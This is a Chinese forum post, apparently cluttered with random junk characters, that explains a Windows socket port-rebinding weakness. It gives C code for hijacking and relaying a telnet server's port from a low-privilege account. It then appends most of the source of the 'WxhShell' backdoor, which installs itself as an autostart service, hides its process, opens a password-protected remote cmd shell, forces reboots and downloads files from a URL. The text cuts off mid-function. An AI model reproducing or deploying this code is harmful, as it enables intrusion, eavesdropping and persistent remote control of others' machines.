在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/RxqFpu|. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
In!^+j F{.g05^y saddr.sin_family = AF_INET;
6cbV[!BL I69Z'}+qz saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]gv3|W O*,O]Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
KZ^>_K& wc"~8Ah 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}j2t8B^&: '.S02=/ 这意味着什么?意味着可以进行如下的攻击:
{Dy,|}7s Az#kE.8b*A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.W2w/RayC \:q @I]2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Dvl\o; Nt?=0X|M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
r;H#cMj Q`Pe4CrWvu 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+u\w4byl (dO0`wfM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
V|HO*HiB3 (I>S qM
Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|o(te f.oY:3h: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xUa9>=JU{ 2~r2ErtS #include
v~._]f$: #include
e},:QL0X #include
xt`a":lr u #include
HL>l.IG? DWORD WINAPI ClientThread(LPVOID lpParam);
;<E?NBV^ int main()
i??+5o@uTF {
T<yfpUzX WORD wVersionRequested;
~G6xk/+n-m DWORD ret;
/6n"$qon6 WSADATA wsaData;
@$$J}~{ BOOL val;
gf4Hq&Rf SOCKADDR_IN saddr;
qvhG^b0h SOCKADDR_IN scaddr;
Ep')@7^n int err;
$`t2SD SOCKET s;
+#(GU9_i+M SOCKET sc;
)fS6H<* int caddsize;
EKsOj&ZiJ HANDLE mt;
HAs/f#zAk6 DWORD tid;
1L\r:mx3 wVersionRequested = MAKEWORD( 2, 2 );
Py+ B 2G| err = WSAStartup( wVersionRequested, &wsaData );
q$}J/w(, if ( err != 0 ) {
BZXee>3" printf("error!WSAStartup failed!\n");
j"zW0g!S return -1;
QAY:H@Gt: }
+G7[(Wz(z saddr.sin_family = AF_INET;
HyYJ"54 q_BMZEM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
j0Os]a 19oyoi" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
aSHN*tP%y saddr.sin_port = htons(23);
uz=9L<$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HoWK#Nz\ {
`G*fx=N printf("error!socket failed!\n");
I,&
gKgh return -1;
Jiru~Vo+ }
HFz;"s3lWM val = TRUE;
BI!E mA //SO_REUSEADDR选项就是可以实现端口重绑定的
Fy.!amXu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]f wW
dtz1 {
8/ukzY1! printf("error!setsockopt failed!\n");
c@4$)68 return -1;
2t{Tz}g* }
Lc-WfzT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&rG]]IO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
iP$>/ [I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+9<:z\B| X"HVK+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/>>KCmc {
|B^Picu ret=GetLastError();
ke/4l?zs printf("error!bind failed!\n");
eU]I !pI< return -1;
PBiA/dG[; }
FS('*w&bP listen(s,2);
<5ULu(b&$ while(1)
ZR{YpLFQ {
j``Ku@/x0 caddsize = sizeof(scaddr);
~Q]::
//接受连接请求
lC
d\nE8G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
a^O>i#i if(sc!=INVALID_SOCKET)
^b= ; {
yRQNmR;Uy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#}tdA(
- if(mt==NULL)
X1V~.kvt) {
hOdU% printf("Thread Creat Failed!\n");
2G3Hi;q18 break;
Wm)Id_ }
I:MrX }
Un5 AStG CloseHandle(mt);
AkO-PL }
&{q'$oF closesocket(s);
yaHkWkl
= WSACleanup();
qB`%+<)C return 0;
%?S[{ 4A& }
v+<4?]EJ DWORD WINAPI ClientThread(LPVOID lpParam)
sdgI , {
bIV9cpW SOCKET ss = (SOCKET)lpParam;
Mdu\ci)lr SOCKET sc;
,.<c|5R unsigned char buf[4096];
BcQw-<veu SOCKADDR_IN saddr;
r,L`@A=v long num;
a
[f}-t9 DWORD val;
`\=~
$&vjC DWORD ret;
7WmY:g#s //如果是隐藏端口应用的话,可以在此处加一些判断
s]D1s%Mx //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Uqly|FS &n saddr.sin_family = AF_INET;
Ms+SJ5Lg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!rG-[7K saddr.sin_port = htons(23);
_,p/2m-Pj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3rLc\rK {
W(.svJUgb. printf("error!socket failed!\n");
dLR[<@E return -1;
FL0yRF5 }
[DtMT6F3 val = 100;
Z 2$S'}F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z 5~X3k7 {
wx2 z 9Q ret = GetLastError();
OE}c$!@ return -1;
FEV Ya#S }
VArMFP)cz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I}]UQ4XJ {
f67pvyy - ret = GetLastError();
v.g Ai6 return -1;
:e}j$vF
}
7sVO?:bj} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
P(LiH {
0]GenT" printf("error!socket connect failed!\n");
Y"m}=\4{ closesocket(sc);
$:vS_# closesocket(ss);
98UI]? 4 return -1;
+NOq>kH@ }
UyDq`@h while(1)
U\[b qw {
G^/8^Zi //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)31xl6@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
C7&L9k~jf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;iUO1t)^ num = recv(ss,buf,4096,0);
Go[anf if(num>0)
~D/1U)kt send(sc,buf,num,0);
b~TTz`HZ else if(num==0)
A[:(#iR5-E break;
fvA167\ num = recv(sc,buf,4096,0);
\GGyz{i if(num>0)
W!* P send(ss,buf,num,0);
_0Y?(} else if(num==0)
#aKUD break;
JPg^h }
x3nUKQtk:8 closesocket(ss);
nKjT&R closesocket(sc);
(>*L-&- return 0 ;
&uf|Le4 }
x5M+\?I<2 Hig.` P W/%9=g$m ==========================================================
D\DwBZ> ~!/a gLwY 下边附上一个代码,,WXhSHELL
?H8dyQ5" Z07n>|WF- ==========================================================
LvL2[xh%& 7<X!Xok #include "stdafx.h"
lKS 2OOYC` Yv"B-oy #include <stdio.h>
NK%Ok #include <string.h>
,lb}&uZo #include <windows.h>
]Z[0xs #include <winsock2.h>
!H6X%hlk #include <winsvc.h>
^ Qxv5HS2 #include <urlmon.h>
)X8N|W>vh |jcIn[)= #pragma comment (lib, "Ws2_32.lib")
=RofC9, #pragma comment (lib, "urlmon.lib")
mRC V2'5doo #define MAX_USER 100 // 最大客户端连接数
yFTN/MFt #define BUF_SOCK 200 // sock buffer
]Z*B17// #define KEY_BUFF 255 // 输入 buffer
<s'0<e!./t 65rf=*kz: #define REBOOT 0 // 重启
TW1#'G_# #define SHUTDOWN 1 // 关机
X*hPE=2`
p s Dsq:z #define DEF_PORT 5000 // 监听端口
nrbP3sf* d$n<^~Z #define REG_LEN 16 // 注册表键长度
o
ethO #define SVC_LEN 80 // NT服务名长度
RE08\gNIt dl3}\o_ // 从dll定义API
C)%qs] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s&\krW& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Qm*X Wo typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fC$@m_-KD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]q&NO(:kbq lLU8eHf\ // wxhshell配置信息
5>~D3?IAd struct WSCFG {
?Q"1zcX int ws_port; // 监听端口
?0lz!Nq'S char ws_passstr[REG_LEN]; // 口令
P5lk3Zg' int ws_autoins; // 安装标记, 1=yes 0=no
Iq
0ew char ws_regname[REG_LEN]; // 注册表键名
1*trtb4F char ws_svcname[REG_LEN]; // 服务名
2_)gJ_kP char ws_svcdisp[SVC_LEN]; // 服务显示名
@H}Hjg_>m char ws_svcdesc[SVC_LEN]; // 服务描述信息
9d!mGnl char ws_passmsg[SVC_LEN]; // 密码输入提示信息
nt%p@e!, int ws_downexe; // 下载执行标记, 1=yes 0=no
Hv%$6,/ *v char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ej\Sc7. char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Epm8S}6K #IU^(W };
;ssI8\LG eAG)+b // default Wxhshell configuration
f5/s+H! struct WSCFG wscfg={DEF_PORT,
as[! 9tB] "xuhuanlingzhe",
Q2*
~9QkU 1,
SEH[6W3 "Wxhshell",
=uR3|U(.|u "Wxhshell",
(]zi; "WxhShell Service",
.=9d3uWJ/ "Wrsky Windows CmdShell Service",
4`")aM "Please Input Your Password: ",
e-b> 1,
GH`y-Ul'K "
http://www.wrsky.com/wxhshell.exe",
4^:$|\?] "Wxhshell.exe"
?MS!t6 };
{P)O# `O0y8 // 消息定义模块
d;{k,rP6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O9AFQ)u char *msg_ws_prompt="\n\r? for help\n\r#>";
,
YlS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
aDu[iaZ char *msg_ws_ext="\n\rExit.";
n98sY+$-z char *msg_ws_end="\n\rQuit.";
~Bi%8G char *msg_ws_boot="\n\rReboot...";
YWL7.Y>%5 char *msg_ws_poff="\n\rShutdown...";
"+Sq}WR char *msg_ws_down="\n\rSave to ";
_z9~\N/@[ F6C7k9 char *msg_ws_err="\n\rErr!";
XCO8A\ char *msg_ws_ok="\n\rOK!";
"akAGa!V+ Zx7aae_{ char ExeFile[MAX_PATH];
c6SXz%'k int nUser = 0;
kU.@HJ[@j HANDLE handles[MAX_USER];
=T1Xfib int OsIsNt;
,T;D33XV *eI {g SERVICE_STATUS serviceStatus;
4
=T_h` SERVICE_STATUS_HANDLE hServiceStatusHandle;
8]rObT9> _CBMU'V // 函数声明
`g0^W/j int Install(void);
2IGU{&s int Uninstall(void);
m)Wq*&,o int DownloadFile(char *sURL, SOCKET wsh);
8q;
aCtei int Boot(int flag);
%P:|B:\< void HideProc(void);
[ 6Sk>j int GetOsVer(void);
U} w@,6 int Wxhshell(SOCKET wsl);
s_e*jM1 void TalkWithClient(void *cs);
'%o^#gJ p int CmdShell(SOCKET sock);
[8%q@6[ int StartFromService(void);
,Z}ST|$u int StartWxhshell(LPSTR lpCmdLine);
^dE[ ; n~tb z"& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
G\^<MR| VOID WINAPI NTServiceHandler( DWORD fdwControl );
O- LwX
> M }q;\} // 数据结构和表定义
Y/T-q<ag8 SERVICE_TABLE_ENTRY DispatchTable[] =
PWkSl {
zS h9`F {wscfg.ws_svcname, NTServiceMain},
*zW]IQ'A {NULL, NULL}
Ex
skd} };
.L]5,#2([ [(&aVHUj // 自我安装
qk(bA/+e int Install(void)
!!w(`kmn1 {
9vSKIq char svExeFile[MAX_PATH];
,s2C)bb- HKEY key;
Kf_xKW)^ strcpy(svExeFile,ExeFile);
7PBE(d%m ~$hR:I1 // 如果是win9x系统,修改注册表设为自启动
.?LRt if(!OsIsNt) {
k!'+7K. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
MU\Pggs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#)]/wqPoW RegCloseKey(key);
mIqm/5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'?g&);4)k- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#^R@EZ RegCloseKey(key);
;zV<63tW return 0;
uX]]wj-R3 }
#z7yoP }
%b2Hm9r+ }
uZ'Z-!=CL else {
!nlr!+(fV ZX8@/8sv // 如果是NT以上系统,安装为系统服务
Rw FA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
VJ_fA}U if (schSCManager!=0)
.rnT'""i<5 {
'hV(1Mw SC_HANDLE schService = CreateService
62y:i (
"fUNrhCx schSCManager,
?/-WH?1I wscfg.ws_svcname,
KWAd~8,mk wscfg.ws_svcdisp,
oe0YxSauL SERVICE_ALL_ACCESS,
Z:es7<#y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
XXA]ukj;r SERVICE_AUTO_START,
o=K9\ l SERVICE_ERROR_NORMAL,
,np|KoG|M svExeFile,
5FF28C)>/ NULL,
65*Hf3~~ NULL,
?~E"! NULL,
}maD8,:t NULL,
dQ9W40g1 NULL
1eEML" );
#
, eC&X45 if (schService!=0)
" Up(Vj@ {
p
.P#S CloseServiceHandle(schService);
&m
GU CloseServiceHandle(schSCManager);
x'..j5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%Lb
cwh(9 strcat(svExeFile,wscfg.ws_svcname);
d|9]E&;, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)+=Kh$VbS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Z @ef2y; RegCloseKey(key);
;[[6[i return 0;
-Fu,oEj{* }
kM&-t&7 }
$5&~gHc, CloseServiceHandle(schSCManager);
T?6<1nU) }
$ #2<f 6 }
FQ`1c[M@
"Z;({a$v return 1;
mH4u@aQ} }
HavlN}h q-uzu ! // 自我卸载
PAtv#)h int Uninstall(void)
`~"'\Hw {
:@ VC Kq! HKEY key;
w-xigm>{Z >goHQ30: if(!OsIsNt) {
d_0(;' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Uxik&M RegDeleteValue(key,wscfg.ws_regname);
(
^@i(XQ RegCloseKey(key);
p]/[ji if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r|jM; RegDeleteValue(key,wscfg.ws_regname);
~K99DK. RegCloseKey(key);
JYA>Q& return 0;
hvNK"^\p }
(2M00J-o }
^cSfkBh }
,d&3IhYhD else {
S<*IoZ?T ,Z _@]D@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3S2Alx!6 if (schSCManager!=0)
#7}M\\$M {
ZH8 w^} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(_CvN=A if (schService!=0)
^FBu|eAkE {
CSq|R-@<U if(DeleteService(schService)!=0) {
ksuePMIK CloseServiceHandle(schService);
W[
W)q%[) CloseServiceHandle(schSCManager);
&}7R\co3 return 0;
r
jxkgd }
B8n[ E CloseServiceHandle(schService);
sPeTW*HeR }
Ip=QtNW3\ CloseServiceHandle(schSCManager);
->.9[|lIg }
d;wq@e }
js"5{w& )oz2V9X{ return 1;
&GJVFr~z }
J:>o\%sF |YyNqwP`, // 从指定url下载文件
un -h%-e| int DownloadFile(char *sURL, SOCKET wsh)
Ql l{;A {
5(hv|t/a HRESULT hr;
v1X[/\;U char seps[]= "/";
T4"D&~3
3q char *token;
ztX$kX:_m char *file;
;v2eAe@7 char myURL[MAX_PATH];
/F~/&p1<\k char myFILE[MAX_PATH];
x9a\~XL>a 9&.md,U ' strcpy(myURL,sURL);
C4.GtY8,d token=strtok(myURL,seps);
K%mR=u#%& while(token!=NULL)
Y,Rr[i"j {
G)t-W%D& file=token;
q/ 54=8*h0 token=strtok(NULL,seps);
nXoDI1<[ }
nqUnDnP2c ha=2isq GetCurrentDirectory(MAX_PATH,myFILE);
>dm9YfQ strcat(myFILE, "\\");
Lw_|o[I} strcat(myFILE, file);
" M?dU^U^ send(wsh,myFILE,strlen(myFILE),0);
udA@9a^; send(wsh,"...",3,0);
4
l-UrnZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Tq?Ai_
if(hr==S_OK)
qTdwi?j_ return 0;
{ AYW
C6Y else
F;}JSb" return 1;
-)')PV_+ 0zSz[;A }
NW`.7'aWT ,(K-;Id4 // 系统电源模块
0;">ETh= int Boot(int flag)
at@tS>Dv {
R#;xBBt8 HANDLE hToken;
(B\
UZb TOKEN_PRIVILEGES tkp;
~h
Dp-R; aEIz,^3 if(OsIsNt) {
S\:+5} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1 Ga3[g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R5^6Kwu tkp.PrivilegeCount = 1;
E&y)`>Nq{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Xy=ETV% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3x+=7Mg9 if(flag==REBOOT) {
2sk7E'2( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
``:[Jr& return 0;
NQ 6oyg@& }
TaHcvjhR else {
LDHu10l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
\ f+;X return 0;
'r%(,=L }
ux(~+<k }
`pZX!6Wn else {
Z.Z;p/4F if(flag==REBOOT) {
6LGl]jHf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!ae?EJm" return 0;
,&S0/j }
fK+E5~vQ else {
%,02i@Fc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`:V'E>B return 0;
:dULsl$Nz }
6?<lS.s }
Y!_c/ !Tx O$m &!J return 1;
i({\fb|0 }
!'F1Ht YF-E1`+?< // win9x进程隐藏模块
sfn^R+x4,9 void HideProc(void)
O(8CrKYY {
u_9c> ui#nN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.Hqq!& if ( hKernel != NULL )
o)@nnqa {
kG!hqj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xlwf @XW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
T:{r*zLSN FreeLibrary(hKernel);
[(#)9/3, }
# M/n\em"X 'hBnV xd& return;
!JrKTB% }
hZ
e{Ri 5yoi;$~}_0 // 获取操作系统版本
M NwY
int GetOsVer(void)
j;_ {
Ul]7IUzsu OSVERSIONINFO winfo;
`j)56bR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W5`p Qdk GetVersionEx(&winfo);
CQ/+- -o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Eq;w5;7s return 1;
aaY AS"/: else
ij-'M{f return 0;
jwE= }
<Y}m/-sD5 zE$HHY2ovi // 客户端句柄模块
!PEKMDh int Wxhshell(SOCKET wsl)
FauASu,A {
sa o & SOCKET wsh;
h>GbJ/^ struct sockaddr_in client;
T{+a48,; DWORD myID;
`+\$ 9Q s5e while(nUser<MAX_USER)
Bx|W#:3e {
,Owk;MV@ int nSize=sizeof(client);
O H2IO wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
BX[IWP\% if(wsh==INVALID_SOCKET) return 1;
1%B9xLq N}B&(dJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#9DJk,SP if(handles[nUser]==0)
Ii[U% closesocket(wsh);
;u'VR}4ph else
MW rhVn{R nUser++;
kGAgXtE }
-%fj-Y7y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]ASw%Lw) zMP6hn return 0;
W1"NKg~4 }
v {HF}L CS~onf<xz // 关闭 socket
=Vs?=|r void CloseIt(SOCKET wsh)
PA,aYg0f {
m-Jy
4f# closesocket(wsh);
+yfUB8Xw nUser--;
UG`~RO ExitThread(0);
Y(7&3+'K }
@~ke=w6&pe v%*don // 客户端请求句柄
o ;Z"I & void TalkWithClient(void *cs)
1K@ieVc {
\os"w " 3<$Ek3X SOCKET wsh=(SOCKET)cs;
o}KVT%} char pwd[SVC_LEN];
w@,p` char cmd[KEY_BUFF];
?B ,<gen char chr[1];
#!O)-dyF int i,j;
Jaw1bUP!oK ^|Fy!kp while (nUser < MAX_USER) {
_dk[k@5W{' Pa d)| if(wscfg.ws_passstr) {
vf.MSk?~ar if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7 "'PfP4c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A8mc+ Bf( //ZeroMemory(pwd,KEY_BUFF);
>>KI_$V i=0;
)GG9[%H! while(i<SVC_LEN) {
xgIb6<qwY aIa<, // 设置超时
'12*'Q+{+ fd_set FdRead;
RDDA^U7y# struct timeval TimeOut;
tP! %(+V FD_ZERO(&FdRead);
5Q8 H8!^
FD_SET(wsh,&FdRead);
+fboTsp% H TimeOut.tv_sec=8;
M}11 tUl TimeOut.tv_usec=0;
|A*4Fuc& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7=?!B#hm! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G5U?]& I8 BXdk0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%zGv+H? pwd
=chr[0]; ~Oq
_lM
if(chr[0]==0xd || chr[0]==0xa) { 7M~ /
q.
pwd=0; ?C fQwY#N
break; }W 5ks-L6
} u5ZyOZ;
i++; @u/CNx,`X
} 9;{(.K
c8mh#Tbl
// 如果是非法用户,关闭 socket .gC.T`/m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iLBORT!;
} 3^
UoK
_p: n\9k
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k6(</uRj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Y*>x2X
Rjq\$aY}%
while(1) { Wu{_QuAB
dI%jR&.e;
ZeroMemory(cmd,KEY_BUFF); kI(3Pf].
/YZMP'v
// 自动支持客户端 telnet标准 ;[
Dxk$"
j=0; $[`rY D/.
while(j<KEY_BUFF) { F%p DF\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ["&{^
cmd[j]=chr[0]; }Em{?Hqy
if(chr[0]==0xa || chr[0]==0xd) { 00i MU
cmd[j]=0; Ddq*}Pf0K
break; L%$-?O|
} 7:LEf"vRZ
j++; xP>cQEL ot
} GNM>hQ)h:
w]qM
// 下载文件 KZg2`8F
if(strstr(cmd,"http://")) { z0+JMZ/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Y}YhUI&
if(DownloadFile(cmd,wsh)) r@r*|50
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^(+q1O'
else cOdRb=?9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b1#C,UWK
} rAHP5dx:
else { +j F|8
G-1qxK
switch(cmd[0]) { ?q4`&";{3
WynTU?
// 帮助 [N~7PNd S
case '?': { #'KM$l,P
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `qmwAT
break; 6 L4\UTr
} <?IDCOt ?
// 安装 %>+lr%B
case 'i': { c.LRS$o/j
if(Install()) /dg?6XT/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.JW_F)1
else }a!|n4|`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `T+>E0H(f
break; ;rT/gwg!
} ]8 }2
// 卸载 ws`r\k]3J
case 'r': { x7E] }h
if(Uninstall()) AKjobA#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V*s\ ~h)
else nHbi{,3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T=pP
break; _J\zj
} U3B&3K} ~
// 显示 wxhshell 所在路径 "zNS6I?rzE
case 'p': { 2"a%%fv
char svExeFile[MAX_PATH]; ^kcuRJ0*$
strcpy(svExeFile,"\n\r"); 8i;drvf
strcat(svExeFile,ExeFile); {ST8'hY
send(wsh,svExeFile,strlen(svExeFile),0); ZMMx)}hS
break; ec#`9w$
} v `/nX->
// 重启 cu?6\@cD
case 'b': { Xp<O
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %KO8i)n
if(Boot(REBOOT)) 5s^vC2$)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wx3DWY;
else { r]xN&Ne5Q
closesocket(wsh); N9d^;6;i
ExitThread(0); ]!S#[Wt {k
} }03?eWk/y
break; <!G /&T
} sdCG}..`
// 关机 V}<<?_
case 'd': { :,p3&2I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3v3cK1K@oE
if(Boot(SHUTDOWN)) 7^rT-f07
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @eBo7#Zr
else { \M.?*p
closesocket(wsh); 4Yok,<
ExitThread(0); bt1bTo
} L=Aj+
break; r*mYtS
} 2Q(ZW@0
// 获取shell J_&cI%.
case 's': { 7ZAxhFC
CmdShell(wsh); YG*<jKcX
closesocket(wsh); >#r0k|3J^J
ExitThread(0); {-7ovH?
break; `R
(N3
} fl4@5AVY
// 退出 a0JMLLa [I
case 'x': { <w~$S0_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Tr '<(A
CloseIt(wsh); V+>RF
break; d<ES
} <<qzZ+u
// 离开 [8tpU&J
case 'q': { > (n/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ho^c#>81
closesocket(wsh); `r=^{Y
WSACleanup(); 4?(=?0/[
exit(1); B(71I;
break; |uFb(kL[U
} l#ct;KZ
} g1F9IB42@<
} dQH8s
{7IZN< e
// 提示信息 {be|G^.c
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A`vRUl,c=
} :SN? t
} OBlQ
`_neYT
return; G~&q
} :G9d,B7*
dwvc;f-
// shell模块句柄 vfc5M6Vm)<
int CmdShell(SOCKET sock) H
9/m6F
{ er
1zSTkg
STARTUPINFO si; `3K."/N6c
ZeroMemory(&si,sizeof(si)); =Ldf#8J
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kW%wt1",
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *hFJI9G
PROCESS_INFORMATION ProcessInfo; UDkH'x$=
char cmdline[]="cmd"; +('xzW
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xsb.xxK.
return 0; Y~( 8<`^
} 2"
v{
IwbV+mWQ
// 自身启动模式 Vfq-H /+
int StartFromService(void) 3M[d6@a
{ SJ8
~:"\P
typedef struct {KTZSs $n
{ o"N\l{ #s
DWORD ExitStatus; Ek06=2i
DWORD PebBaseAddress; +m}D.u*cp
